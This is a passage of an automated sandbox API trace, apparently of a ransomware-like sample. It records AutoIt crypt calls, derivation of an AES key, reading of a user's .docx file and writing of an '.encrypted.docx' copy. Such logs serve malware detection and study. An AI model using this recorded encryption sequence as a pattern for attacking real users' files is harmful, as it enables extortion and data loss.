lpMsg=0xe8f3dfea80) returned 0 [0023.816] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.817] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.817] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.817] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.817] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.818] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.818] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.818] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.819] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.819] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.819] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.819] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.819] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.819] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.820] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b030, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.820] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.820] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.820] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.820] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0023.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.822] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\2sfmu.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.822] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.822] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.823] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0023.823] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\2sfmu.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.825] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.825] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0023.826] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x2551, lpOverlapped=0x0) returned 1 [0023.826] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.829] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.829] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.829] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.829] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.830] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.830] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.830] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.830] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.831] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.831] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.831] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064cc0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cc0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.831] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.832] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.832] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 